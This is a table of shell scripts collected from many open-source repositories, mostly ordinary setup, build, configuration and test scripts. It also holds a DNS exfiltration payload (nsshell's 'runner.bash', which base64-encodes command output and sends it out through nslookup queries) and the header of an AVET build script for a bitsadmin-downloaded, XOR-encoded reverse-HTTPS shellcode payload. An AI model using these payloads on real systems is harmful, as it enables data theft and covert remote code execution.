code stringlengths 2 1.05M | repo_name stringlengths 5 110 | path stringlengths 3 922 | language stringclasses 1
value | license stringclasses 15
values | size int64 2 1.05M |
|---|---|---|---|---|---|
#!/bin/sh
/sbin/ifconfig bridge0 down
/usr/bin/brctl delbr bridge0 | mobileteck/FreeTetherCleanup | service/com.mobileteck.freetether.cleaner.service.sh | Shell | gpl-3.0 | 71 |
#!/bin/bash
#DESCRIPTION_START
# Downloads and executes 64-bit shellcode, using bitsadmin. Applies metasploit XOR encoding.
#DESCRIPTION_END
# print AVET logo
cat banner.txt
# include script containing the compiler var $win64_compiler
# you can edit the compiler in build/global_win64.sh
# or enter $win64_compiler=... | govolution/avet | build/build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh | Shell | gpl-3.0 | 1,856 |
%whoami% 2>&1|base64|while read r; do
i=0;
k=0;
while [ $i -lt ${#r} ]; do
j=0;
p=%q%$k.;
k=$[k+1];
while [ $i -lt ${#r} ]&&[ $j -lt 3 ];do
p=$p${r:$i:61}.;
i=$[i+61];
j=$[j+1];
done
nslookup ${p}%hostname%;
done;
done; | TheRook/nsshell | scripts/runner.bash | Shell | gpl-3.0 | 244 |
#!/bin/sh
scp $1 dcram@94.23.209.34:/home/dcram/tmp
| ithaca/visu | Visu2KtbsMigrator/scp.sh | Shell | gpl-3.0 | 53 |
#!/bin/bash
aws emr create-cluster --termination-protected --applications \
Name=Hadoop Name=Hive Name=Pig Name=Hue Name=Ganglia Name=Zeppelin Name=Tez Name=Spark Name=Sqoop Name=Oozie Name=Presto \
--tags 'Name=Demo-EMR-5.8.0' \
--ec2-attributes '{"KeyName":"ireland-bastion", "InstanceProfile":"EMR_EC2_D... | iceflow/aws-demo | s3/s3-bucket-copy/existing-bucket-copy/solutions/2-different-account-same-region/create_emr-eu-west-1.sh | Shell | gpl-3.0 | 845 |
#!/bin/bash
# start the hamstersimulator
log_file=/tmp/hamstersimulator.log
for java_version in `ls /opt/hamstermodell`
do
if java -version 2>&1 | grep -q "version \"$java_version"
then
# found the folder with the java version
jar_file=`find "/opt/hamstermodell/$java_version" | grep 'hamstersimulator.ja... | CoderDojoPotsdam/CoderDojoOS | specials/software/hamstersimulator/hamstersimulator.sh | Shell | gpl-3.0 | 1,266 |
#!/bin/sh
#-------------------------------------------------------------------
# config.sh: This file is read at the beginning of the execution of the ASGS to
# set up the runs that follow. It is reread at the beginning of every cycle,
# every time it polls the datasource for a new advisory. This gives the user
# the ... | jasonfleming/asgs | config/2016/asgs_config_td9_queenbee_hsofs.sh | Shell | gpl-3.0 | 7,283 |
#!/bin/bash
# Docker with confd to manage the configuration
# see https://github.com/kelseyhightower/confd/blob/master/docs/quick-start-guide.md
IMAGE=tempest
# 1. Build the docker image
docker build -t $IMAGE .
| SpringerPE/openstack-tempest | build.sh | Shell | gpl-3.0 | 215 |
#!/usr/bin/env bash
# rss, 2min
if [ ! -f rss.txt ] || [ `find "rss.txt" -mmin +2 2>/dev/null` ]; then
python rss.py > rss.txt
fi
# gmail, 10min
if [ ! -f gmail.txt ] || [ `find "gmail.txt" -mmin +10 2>/dev/null` ]; then
python gmail.py > gmail.txt
fi
# weather, 30min
if [ ! -f weather.txt ] || [ `find "w... | tborychowski/py-bin | update-sample.sh | Shell | gpl-3.0 | 631 |
#!/bin/bash
################################################################################
#
# run_tests.sh -- Bash script for testing another script in a simple manner.
#
# (C) since 2017 by Markus Goeker (markus [DOT] goeker [AT] dsmz [DOT] de)
#
# This program is distributed under the terms of the Gnu Public Lic... | mgoeker/table2itol | tests/run_tests.sh | Shell | gpl-3.0 | 2,900 |
#!/bin/bash
set -e
pegasus_lite_version_major="4"
pegasus_lite_version_minor="7"
pegasus_lite_version_patch="0"
pegasus_lite_enforce_strict_wp_check="true"
pegasus_lite_version_allow_wp_auto_download="true"
. pegasus-lite-common.sh
pegasus_lite_init
# cleanup in case of failures
trap pegasus_lite_signal_int INT
trap... | elainenaomi/sciwonc-dataflow-examples | dissertation2017/Experiment 1A/logs/w-08_2/20161026T101001+0000/00/00/init_0_ID0000001.sh | Shell | gpl-3.0 | 1,222 |
#!/bin/bash
#
## debian/ubuntu:
## sudo apt install build-essential cmake g++ make pkg-config libfltk1.3-dev
#
mkdir -p build
cd build
cmake -G"Unix Makefiles" \
-DBUILD_DIAGTEST=ON \
-DCMAKE_VERBOSE_MAKEFILE=0 \
-S .. || exit 1
make | fenugrec/freediag | build_simple.sh | Shell | gpl-3.0 | 251 |
#! /bin/bash
[ "$1" != "" ] && TRACE_DIR=$1 || TRACE_DIR="/home/mptcp/Thesis/TCPDump"
[ "$2" != "" ] && DEST_DIR=$2 || DEST_DIR="/home/mptcp/smartphone"
[ "$3" != "" ] && SSH_USER=$3 || SSH_USER="mptcpdata"
RC=0
# need to add an entry 'mptcpdata' in ~/.ssh/config and load your SSH key in your SSH Agent (via ssh-add)
... | MPTCP-smartphone-thesis/uitests | backup_traces.sh | Shell | gpl-3.0 | 489 |
#!/bin/bash
set -e
pegasus_lite_version_major="4"
pegasus_lite_version_minor="7"
pegasus_lite_version_patch="0"
pegasus_lite_enforce_strict_wp_check="true"
pegasus_lite_version_allow_wp_auto_download="true"
. pegasus-lite-common.sh
pegasus_lite_init
# cleanup in case of failures
trap pegasus_lite_signal_int INT
trap... | elainenaomi/sciwonc-dataflow-examples | dissertation2017/Experiment 1B/logs/w-08-A/20161206T222453+0000/00/00/analysisevent_0_ID0000015.sh | Shell | gpl-3.0 | 1,249 |
#!/bin/bash
echo "0=$0" #Location of this script
echo "1=$1" #Folder where all the .sh scripts are located
echo "2=$2" #Folder where the STAR results are put
echo "3=$3" #SLURM username
echo "4=$4" #Filename of the file that is going to contain all the mapping percentages (only works for Kallisto, so does nothing here)... | Sipkovandam/PCrotation | Sipko/src/main/resources/STAR_OnePerNode_MultiUser_Slurm.sh | Shell | gpl-3.0 | 3,884 |
#!/usr/bin/env bash
set -e
disconnectClassificationFile="$1"
read -d '' classifyExpandedParts <<-'EOF' || true
def deleteNullKey(key):
# Delete a property if it is null.
key as $key
| with_entries(
select(
.key != $key
or (
.key == $key
and
(.value | type) != "null"
)
)
);
def deleteEmpt... | joelpurra/har-dulcify | src/classification/disconnect/add.sh | Shell | gpl-3.0 | 2,003 |
#!/bin/bash
#check for root
if [ "$UID" -eq 0 ]
then
echo "youre root! thats good!"
else
echo "you have to be root do execute this"
exec sudo -H bash "$0" "$@"; exit 0
fi | fredlllll/ThoriumRenderFarm | Install/check-root.sh | Shell | gpl-3.0 | 183 |
#!/usr/bin/env bash
# setup a simple go environment
XPWD=`pwd`
ROOT="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && cd .. && pwd )" # dir!
cd "${ROOT}" >/dev/null
travis=0
if env | grep -q '^TRAVIS=true$'; then
travis=1
fi
sudo_command=$(which sudo)
YUM=`which yum 2>/dev/null`
DNF=`which dnf 2>/dev/null`
APT=`which ap... | gzsierra/mgmt | misc/make-deps.sh | Shell | agpl-3.0 | 1,827 |
for version in $(cat ./versions.txt); do
(
mkdir -p ./src/; cd ./src/
git clone https://github.com/phpredis/phpredis.git ./php-redis
cd ./php-redis && git checkout php7
(
phpize-$version && ./configure --with-php-config=/opt/phpfarm/inst/bin/php-config-$version \
&& make && make install && make clean \
&& e... | yfix/phpfarm | build_ext/install_ext_redis.sh | Shell | agpl-3.0 | 401 |
#!/bin/bash
SOURCE_PATH=${SOURCE_PATH:-../}
source $SOURCE_PATH/tests/common.sh
echo "======================================================="
echo "Setup SoftHSM"
echo "======================================================="
if [[ ! -f $P11LIB ]]; then
echo "WARNINIG: The SoftHSM is not installed. Can not run t... | frankmorgner/OpenSC | tests/test-pkcs11-tool-sign-verify.sh | Shell | lgpl-2.1 | 5,990 |
#!/bin/bash
#
# Script taken from: http://natelandau.com/bash-scripting-utilities/
#
#
# Set Colors
#
bold=$(tput bold)
underline=$(tput sgr 0 1)
reset=$(tput sgr0)
purple=$(tput setaf 171)
red=$(tput setaf 1)
green=$(tput setaf 76)
tan=$(tput setaf 3)
blue=$(tput setaf 38)
#
# Headers and Logging
#
helper_show_... | thePanz/bash-utils | helper.sh | Shell | lgpl-3.0 | 3,752 |
#!/bin/bash
# tested: ubuntu 14.04
echo It is going to install ffmpeg with all functions.
echo http://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu
sudo apt-get install autoremove
sudo apt-get update
sudo apt-get -y install autoconf automake build-essential libass-dev libfreetype6-dev libgpac-dev libsdl1.2-dev libtheo... | mochechan/standalone | FFinstall.sh | Shell | lgpl-3.0 | 2,693 |
#!/bin/sh
RUNDIR="$(pwd)"
SRCDIR="$( cd "$( dirname "$0" )" && pwd )"
TOPDIR="$SRCDIR/.."
echo TOPDIR $TOPDIR
export CC=$TOPDIR/../local/bin/clang
export CXX=$TOPDIR/../local/bin/clang++
BUILDTYPE="Debug"
ECLIPSEPROJECT="first-stepsE"
INSROOTDIR=$TOPDIR/$ECLIPSEPROJECT/$BUILDTYPE/local
mkdir -p $TOPDIR/$ECLIPSEPROJE... | peteasa/llvm-env | proj/first-steps/build.sh | Shell | lgpl-3.0 | 1,189 |
#!/bin/bash
cd ~/projects/dryack/dotfiles
#blackbox_cat .bash.d/secrets-env.sh > ~/.bash.d/secrets-env.sh
#blackbox_cat .bash.d/secrets-aliases.sh > ~/.bash.d/secrets-aliases.sh
#blackbox_cat AIRSHIP.html > ~/AIRSHIP.html
#blackbox_cat tipsfile.txt.gpg > ~/projects/dryack/dotfiles/tipsfile.txt
cp -R ~/projects/dryack/d... | dryack/dotfiles | localupdate.sh | Shell | unlicense | 719 |
#!/bin/bash
#-------------------------------------------------------------------------------------
# Wraps all git binary calls to the git binary inside gitea container,
# transferring any needed files and adjusting file paths between host and container.
#---------------------------------------------------------------... | ajordens/clouddriver | clouddriver-artifacts/src/integration/resources/git-wrapper.sh | Shell | apache-2.0 | 2,141 |
#!/bin/sh
# variables that can be set
# DEBUG : set to echo to print command and not execute
# PUSH : set to push to push, anthing else not to push. If not set
# the program will push if master or develop.
# PROJECT : the project to add to the image, default is clowder
# VERSION : the list of tags to us... | UMD-DCIC/tickytacky | docker.sh | Shell | apache-2.0 | 2,531 |
#!/usr/bin/env bash
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... | apurtell/phoenix | dev/test-patch.sh | Shell | apache-2.0 | 43,792 |
#!/bin/bash
# Copyright (C) 2013-2014 Computer Sciences Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless r... | ezbake/ezbake-purge-ui | src/main/webapp/lib/bootstrap/test-infra/uncached-npm-install.sh | Shell | apache-2.0 | 734 |
#!/bin/bash
clear
ab -c 8 -n 4000 127.0.0.1:3000/
| hex7c0/transfer-rate | examples/ab.sh | Shell | apache-2.0 | 52 |
#!/bin/bash
# Install EMBOSS package first using conda to run transeq.
# $ conda install -c bioconda emboss
for FA in $(ls *nTx.fa)
do
OUT=${FA/.fa/}".transeq6.fa"
echo $OUT
transeq --frame 6 -sequence $FA -outseq $OUT
done
| marcottelab/NuevoTx | ortho_quant/run-transeq.sh | Shell | apache-2.0 | 232 |
#!/bin/bash
APP=pzsvc-lasinfo
EXT=bin
| venicegeo/pzsvc-lasinfo | ci/vars.sh | Shell | apache-2.0 | 39 |
#!/bin/bash
# ============== Functions
print() {
echo =======================================
echo " $@ "
echo =======================================
}
# ==============
print WARNING: THIS WILL MESS STUFF UP IF YOU ALREADY USED IT!
print Setting up your MiniBot, but first a few questions:
print Which ba... | cornell-cup/cs-minibot-platform | python-interface/install_bot.sh | Shell | apache-2.0 | 2,249 |
#!/usr/bin/env bash
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | googleapis/doc-pipeline | generate.sh | Shell | apache-2.0 | 2,041 |
#!/bin/sh
#
# initialize installation for Ansible on a given host
#
# written by: Andreas 'ads' Scherbaum <andreas@scherbaum.la>
#
# Usage:
# ./init_host.sh <IP address> <user name>
#
# Note: NEVER use this script to init a host in an untrusted network!
#
set -e
if [ "$#" -ne 2 ];
then
echo ""
echo "Usage:... | andreasscherbaum/ansible-base | init_host.sh | Shell | apache-2.0 | 1,057 |
#!/bin/sh
spark-submit \
--class objektwerks.KafkaStructuredStreamingCassandraApp \
--master local[2] \
--packages org.apache.spark:spark-sql-kafka-0-10_2.12:2.4.7,org.apache.kafka:kafka_2.12:2.6.0,com.datastax.spark:spark-cassandra-connector_2.12:3.0.0,com.typesafe:config:1.4.0 \
./target/scala-2.12/spark-kafk... | objektwerks/spark.kafka.cassandra | submit.sh | Shell | apache-2.0 | 353 |
# script to be sourced in travis yml
# setup all enviroment variables
export LIBRARY_PATH=$LIBRARY_PATH:${PWD}/travis/mxnet/lib/
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:${PWD}/travis/mxnet/lib/
| songtianyi/go-mxnet-predictor | travis/env.sh | Shell | apache-2.0 | 195 |
#!/bin/bash
set -e
. /opt/kolla/kolla-common.sh
check_required_vars DESIGNATE_ALLOW_RECURSION \
DESIGNATE_BIND9_RNDC_KEY \
DESIGNATE_MASTERNS \
DESIGNATE_SLAVENS
NAMEDCFG=/etc/named.conf
# /var/named is coming from a VOLUME definition but at first boot it ... | invenfantasy/kolla | docker/common/designate/designate-backend-bind9/config-internal.sh | Shell | apache-2.0 | 1,662 |
#!/usr/bin/env bash
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "Lice... | mufaddalq/cloudstack-datera-driver | patches/systemvm/debian/config/opt/cloud/bin/vpc_privategw_acl.sh | Shell | apache-2.0 | 7,127 |
#!/usr/bin/env bash
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "Lice... | Fokko/incubator-airflow | airflow/www/compile_assets.sh | Shell | apache-2.0 | 999 |
#!/bin/bash
# subjects from http://api.elsevier.com/content/subject/scidir?httpAccept=text/xml
subjects=(11 # computer science
19 # materials science
24) # physics and astronomy
year_begin=2010
year_end=2016
for subject in ${subjects[@]}; do
for ((year=${year_begin}; year<=${year_end}; year+... | UKPLab/semeval2017-scienceie | code/crawl/run_crawl.sh | Shell | apache-2.0 | 385 |
#!/bin/bash
# Copyright 2016 Port Direct
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | portdirect/harbor | docker/openstack/openstack-neutron/common-assets/opt/harbor/neutron/components/config-api.sh | Shell | apache-2.0 | 3,085 |
#! /bin/bash
# (C) 2016 Maximilian Wende <maximilian.wende@gmail.com>
#
# This file is licensed under the Apache License 2.0. For more information,
# see the LICENSE file or visit: http://www.apache.org/licenses/LICENSE-2.0
main () {
: Utils # Enable output functions and logging
out <<-EOF >&3
==============... | dasisdormax/csgo-multiserver | program/main.sh | Shell | apache-2.0 | 1,789 |
#!/bin/bash
#Script de configuración del host.
#1.Crear un usuario para ansible con permisos de root:
echo -e "\n\e[0;32mCreando usuario ansibleUser \e[0m"
sudo ./añadeUsuario.sh
#2 Ejecutar el script client.py
echo -e "\e[0;32mConectando con el servidor...\e[0m"
python scripts/sockets/client.py
#3.Al enviar mi d... | freelinuxdistrodeployed/LDT | configHost.sh | Shell | apache-2.0 | 394 |
#!/bin/bash
# -*- coding: utf-8
# 'version': '0.3'
#
# Copyright (c) 2017, Stephen B, Hope, All rights reserved.
#
# CommAI-env Copyright (c) 2016-present, Facebook, Inc., All rights reserved.
# Round1 Copyright (c) 2017-present, GoodAI All rights reserved.
#
# This source code is licensed under the BSD-style license ... | Intelligent-Machine-Learning/Round1 | evaluation/run_gpu.sh | Shell | apache-2.0 | 601 |
#!/usr/bin/env bash
cp -nr buildings stops/ traces/ ../../app/src/main/assets
| NasaGeek/utexas-utilities | scripts/maps/install.sh | Shell | apache-2.0 | 78 |
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use ... | shemic/dm | container/conf/java/hadoop/yarn-env.sh | Shell | apache-2.0 | 4,569 |
#!/bin/bssh
# create the backing file
echo "gremlin.graph=com.thinkaurelius.titan.core.TitanFactory
storage.backend=cassandra
storage.hostname=127.0.0.1
index.search.backend=elasticsearch
index.search.elasticsearch.interface=NODE
" > conf/gremlin-server/titan-cassandra-server.properties
# use cassandra backed db inst... | Wancy/titan-gremlin | configure.sh | Shell | apache-2.0 | 1,081 |
#!/bin/bash
set -e
aws s3 cp output/device-identification-data.json s3://connected-tv-public-unversioned/device-identification-data/data.json --cache-control max-age=60 --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers
| bbc/device-identification-data | scripts/deploy.sh | Shell | apache-2.0 | 236 |
#!/bin/bash
pushd kitchen
./bin/ci/setup.sh
popd
| twosigma/waiter | containers/test-apps/bin/ci/setup.sh | Shell | apache-2.0 | 51 |
#!/bin/sh
sudo ./a.out
echo "
------------------
(program exited with code: $?)"
echo "Press return to continue"
#to be more compatible with shells like dash
dummy_var=""
read dummy_var
rm $0
| vishnuprathish/HIIDeS | hiides/geany_run_script.sh | Shell | apache-2.0 | 200 |
#!/usr/bin/env bash
set -o errexit
set -o pipefail
# kick off all services
ansible-playbook /mnt/home/seqware/seqware-bag/docker-start.yml -c local --extra-vars "single_node=True"
sudo nohup cron -f &
cd ~seqware
source ~seqware/.bash_profile
source ~seqware/.bashrc
sudo -E -u seqware -i ${1-bash}
| SeqWare/seqware_full | scripts/start.sh | Shell | apache-2.0 | 303 |
pipeline_name=regulation_effect_38_98
pipeline_dir=/hps/nobackup2/production/ensembl/anja/release_98/human/regulation_effect/
species=human
HIVE_SRV=mysql-ens-var-prod-1-ensadmin
init_pipeline.pl Bio::EnsEMBL::Variation::Pipeline::RegulationEffect_conf \
$($HIVE_SRV details hive) \
-pipeline_name $pipeline_name \
-pipe... | at7/work | pipelines/scripts/run_regulation_human_38.sh | Shell | apache-2.0 | 366 |
#!/bin/bash
# wait 5 seconds for dns to
echo "Waiting 30 seconds for dns"
sleep 30
# print environment
env
# get instance count
INSTANCES=$(curl -l -s -H "Content-Type: application/json" http://master.mesos:8080/v2/apps${MARATHON_APP_ID} | jq '.app.instances')
# echo instance count
echo "Instances: $INSTANCES"
# t... | hackintoshrao/minio | minio-dcos-wrapper.sh | Shell | apache-2.0 | 1,667 |
#!/usr/bin/env bash
loadtest -k -n 50000 -c 100 "http://127.0.0.1:3000/"
| DavidObando/aspnet-memtest | src/nodejs/express/loadtest.sh | Shell | apache-2.0 | 74 |
#!/bin/bash
# tells the bash script to exit whenever anything returns a non-zero return value.
set -e
./bin/wait-for-postgres.sh
rails db:version || bundle exec rails db:setup
rails db:migrate
bundle exec foreman start
| olkeene/knomsy | bin/startup.sh | Shell | apache-2.0 | 223 |
#!/bin/bash
#set -o xtrace
#This script use for generate gamegrop of
#blew function is used to generate xml for virtualhost
#create asher 20150114
#modifyed 20151130 add two line and diffirent infrastraction game
#modifyed change to No Pxe Pc game intall , used direct change disk
#DATE=`date +%Y%m%d`
DATE=`data +%Y... | lichengshuang/createvhost | multiBatchCreatevhost/bak/toPcGameVirthost.sh | Shell | apache-2.0 | 14,733 |
#!/bin/bash
set -e
touch /pre-ambari
echo "Hello Pre-Ambari" >> /pre-ambari | hortonworks/cloudbreak | integration-test/src/main/resources/recipes/pre-ambari.sh | Shell | apache-2.0 | 76 |
#!/bin/bash
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to ... | googleapis/java-bigquery | .kokoro/build.sh | Shell | apache-2.0 | 3,458 |
#!/bin/bash
sudo ip netns del host1
sudo ip netns del host2
sudo ip netns del cont1
sudo ip netns del cont2
sudo ip link del veth1
sudo ip link del veth2
sudo ip link del br0
sudo pkill policy
sudo pkill hoverd
| iovisor/iomodules | policy/test/del.sh | Shell | apache-2.0 | 215 |
# !bin/bash
function connect(){
#connect internet
}
function disconnect(){
#disconnect internet
}
#function dashboard_skydns_kubedns(){
#initK8S
#}
# initK8S===dashboard_skydns_kubedns
registryHostname=
apiserver_host=
kube_master_url=
#注意:这里的IP地址(172.16.2.14)和主机名(docker1)更换为自己的IP与主机名 还要主要image的镜像地址值
functi... | LionKiss/LabCloud | machinetestmanagershell/2setdockerclouds/dashboard_skydns_kubedns.sh | Shell | apache-2.0 | 8,887 |
vep_data=/hps/nobackup2/production/ensembl/anja/vep_data/
perl $HOME/bin/ensembl-vep/vep \
--cache_version 95 \
--assembly GRCh38 \
--dir /nfs/production/panda/ensembl/variation/data/VEP/tabixconverted/ \
--input_file ${vep_data}/input/grch38/NF_full.vcf \
--output_file ${vep_data}/output/NF_full.out \
--force_overwrit... | at7/work | vep/vep_g2p_375.sh | Shell | apache-2.0 | 1,995 |
#!/bin/bash
source conf/drillTestConfig.properties
mkdir ${DRILL_TEST_DATA_DIR}/Datasources/ctas/decimal/fragments/negative
tar -xzmvf ${DRILL_TEST_DATA_DIR}/Datasources/ctas/decimal/fragments/decimal_big_zero_scale.tar.gz -C ${DRILL_TEST_DATA_DIR}/Datasources/ctas/decimal/fragments/negative
hadoop fs -mkdir -p /dri... | Agirish/drill-test-framework | framework/resources/Datasources/ctas/decimal/fragments/decimal_fragments_negative.sh | Shell | apache-2.0 | 999 |
#!/bin/sh
## you need to set env variables : JAVA_HOME
if [ "x${JAVA_HOME}" = "x" ]
then
echo JAVA_HOME not defined. Must be defined to run java apps.
exit
fi
# Define where is the java executable is
JAVA_CMD=java
if [ -d "$JAVA_HOME" ]; then
JAVA_CMD="$JAVA_HOME/bin/java"
fi
echo running...
$JAVA_CMD -c... | vulk/vchs_rest_api_samples | run.sh | Shell | apache-2.0 | 386 |
#/*
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may no... | trasukg/river-qa-2.2 | qa/jtreg/net/jini/jeri/transport/multihomed/runMultihome.sh | Shell | apache-2.0 | 2,077 |
#!/bin/bash
# Rather than modify this script, consider creating a wrapper script with
# better defaults for your project. See run-xray-tests.sh
#Default parameter values
#####################################################################
BASEURL=http://localhost:8889/xray/
CREDENTIALS=
DIR=test
FORMAT=text
MODULES=... | mdubinko/glom | src/xray/test-runner.sh | Shell | apache-2.0 | 2,028 |
# Copyright 2017-2018 loustler
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License. You may obtain a copy
# of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, sof... | loustler/my-setting | shell/config/shell/bash_profile.sh | Shell | apache-2.0 | 1,115 |
#!/bin/bash
echo MONGO_HOSTS: ${MONGO_HOSTS?Please provide MONGO_HOSTS}
if [ -n "$REST_PORT" ]; then echo "REST_PORT env var is voided" && exit; fi
if [ -n "$REST_PORT" ]; then echo "REST_PORT env var is voided" && exit; fi
if [ -z "$REST_PORT" ]
then
export REST_PORT=8080
echo "REST is starting on default $R... | bwsw/sj-platform | docker/rest/rest-run.sh | Shell | apache-2.0 | 774 |
#!/bin/bash
#
# Copyright 2015 Hewlett-Packard Development Company, L.P.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | ozamiatin/zmq-devstack | devstack/plugin.sh | Shell | artistic-2.0 | 3,635 |
if [ "$1" = "--run" ]; then
ECHO_ONLY=false
else
ECHO_ONLY=true
fi
# Getting the hostname
HOSTNAME=`hostname`
# Cutting the postfix of hostname
CLUSTERNAME=${HOSTNAME%-*}
if [ "$ECHO_ONLY" = true ]; then
ECHO="echo "
fi
CEPH_DEPLOY="${ECHO}ceph-deploy"
CEPH="${ECHO}ceph"
| Open-I-Beam/ceph-hands-on-lab | scripts/vars.sh | Shell | bsd-2-clause | 287 |
#!/bin/bash
# Element14 - SuddenImpact design challenge
# http://www.element14.com/community/community/design-challenges/sudden-impact
#
# This file is part of submission made for Modular&EasyConfigure project (tomaja).
#
# v010 - January 11th 2015.
# Initial version. Subscribe to MQTT broker and act upon messages... | krattai/noo-ebs | src/server/mqtt_sub_test.sh | Shell | bsd-2-clause | 1,280 |
#!/bin/bash
#
# run_app.sh
#
# Copyright (C) 2015, Achim Lösch <achim.loesch@upb.de>, Christoph Knorr <cknorr@mail.uni-paderborn.de>
# All rights reserved.
#
# This software may be modified and distributed under the terms
# of the BSD license. See the LICENSE file for details.
#
# encoding: UTF-8
# tab size: 4
#
# aut... | akiml/ampehre | misc/tools/correlation/run_app.sh | Shell | bsd-2-clause | 478 |
#!/bin/bash
# Start InfluxDB
sudo /etc/init.d/influxdb start
# Start Grafana
sudo service grafana-server start
| brunorijsman/juniper-grafana | start.sh | Shell | bsd-2-clause | 113 |
#!/bin/sh
make clean all
rm -rf debian
mkdir -p debian/DEBIAN/
mkdir -p debian/etc/init.d/
mkdir -p debian/usr/bin/
cp river.conf debian/etc/river.conf
cp river debian/usr/bin
cp init-script debian/etc/init.d/river
cp debian.control debian/DEBIAN/control
dpkg -b debian river-`uname -m`.deb
rm -rf debian/
| nicolasff/river | mkdeb.sh | Shell | bsd-2-clause | 310 |
#!/bin/bash
set -e -v
echo "ZONE=UTC" > /etc/sysconfig/clock
export TZ="UTC"
# copy examples into /etc/skel
pushd /etc/skel > /dev/null
git clone --single-branch --depth 1 https://github.com/joequant/example-notebooks.git
popd > /dev/null
source /tmp/02-set-password.sh
pushd ~user > /dev/null
mkdir git
pushd git > /de... | joequant/bitquant | bitstation/02.setup/02-docker-setup.sh | Shell | bsd-2-clause | 2,133 |
FLOW=$1
mkdir tmp
$FLOW status . --old-output-format
mv c.js tmp
$FLOW force-recheck c.js
$FLOW status . --old-output-format
mv b.js tmp
$FLOW force-recheck b.js
$FLOW status . --old-output-format
mv tmp/b.js .
$FLOW force-recheck b.js
$FLOW status . --old-output-format
mv tmp/c.js .
$FLOW force-recheck c.js
$FLOW stat... | d14b3l/flow | tests/incremental_delete/test.sh | Shell | bsd-3-clause | 355 |
#!/usr/bin/env bash
set -e
cd "$(dirname $0)/.."
node_modules/.bin/intern-client config=tests/intern reporters=Console
| kitsonk/rst2mdown | tests/run.sh | Shell | bsd-3-clause | 119 |
#!/bin/bash
#run solr
pushd .
PWD=/home/ford/proj/sites/bin/solr/jetty/
cd $PWD
java -jar $PWD/start.jar &
popd | ftrain/django-ftrain | bin/run_solr.sh | Shell | bsd-3-clause | 116 |
#!/usr/bin/env bash
TAG=$(git describe --tags --exact-match)
# Only release when tag
if ! [ -z ${TAG} ]; then
# Check if already exists
if $(github-release info -u themotion -r ladder | grep -q "${TAG},"); then
echo "Release already exists"
exit 0
fi
# Get if alpha release or release
... | themotion/ladder | gh-release.sh | Shell | bsd-3-clause | 1,348 |
#!/bin/bash
UNAME=$(which uname 2>/dev/null)
SORT=$(which sort 2>/dev/null)
GREP=$(which grep 2>/dev/null)
CUT=$(which cut 2>/dev/null)
WC=$(which wc 2>/dev/null)
if [ "" = "${CHECK}" ] || [ "0" = "${CHECK}" ]; then
if [ "" = "${CHECK_DNN_MB}" ]; then CHECK_DNN_MB=64; fi
if [ "" = "${CHECK_DNN_ITERS}" ]; then CHE... | egeor/libxsmm | samples/deeplearning/cnnlayer/run_resnet50b.sh | Shell | bsd-3-clause | 5,439 |
#!/bin/bash
#Matthew Burns, 2012 mdburns@ucsd,edu
#Installs a BCILAB worker on a fresh Amazon Linux AMI
#
#This script has to be updated to download the appropriate Matlab MCR Version
#and appropriate BCILAB version.
#
#Comment out "defaults requiretty" from /etc/sudoers, allows
#us to start workers remotely
... | mattb243/AmazonEC2Matlab | setup_instance.sh | Shell | bsd-3-clause | 3,123 |
#!/bin/bash
#
# Deletes the compute instance for skia-alerts.
#
set -x
source vm_config.sh
gcloud compute instances delete \
--project=$PROJECT_ID \
--delete-disks "boot" \
--zone=$ZONE \
$INSTANCE_NAME
| Tiger66639/skia-buildbot | compute_engine_scripts/alerts/vm_delete_instance.sh | Shell | bsd-3-clause | 213 |
#!/bin/bash
# Copyright (c) 2011 The Native Client Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
set -o nounset
set -o errexit
PREFIX=${PREFIX:-}
VERIFY=${VERIFY:-yes}
EMU_HACK=${EMU_HACK:-yes}
rm -f *.out inp.in inp.out
ln -s d... | nacl-webkit/native_client | tests/spec2k/183.equake/run.train.sh | Shell | bsd-3-clause | 533 |
#!/usr/bin/env bash
set -euo pipefail
# This scripts starts a Weaviate server with the test scheme and waits until weaviate is up and running.
function main() {
echo "Pull images..."
surpress_on_success docker pull golang:1.11-alpine
echo "Build containers (this will take the longest)..."
docker-compose -f do... | weaviate/weaviate | tools/test/run_ci_server.sh | Shell | bsd-3-clause | 1,640 |
#!/bin/bash
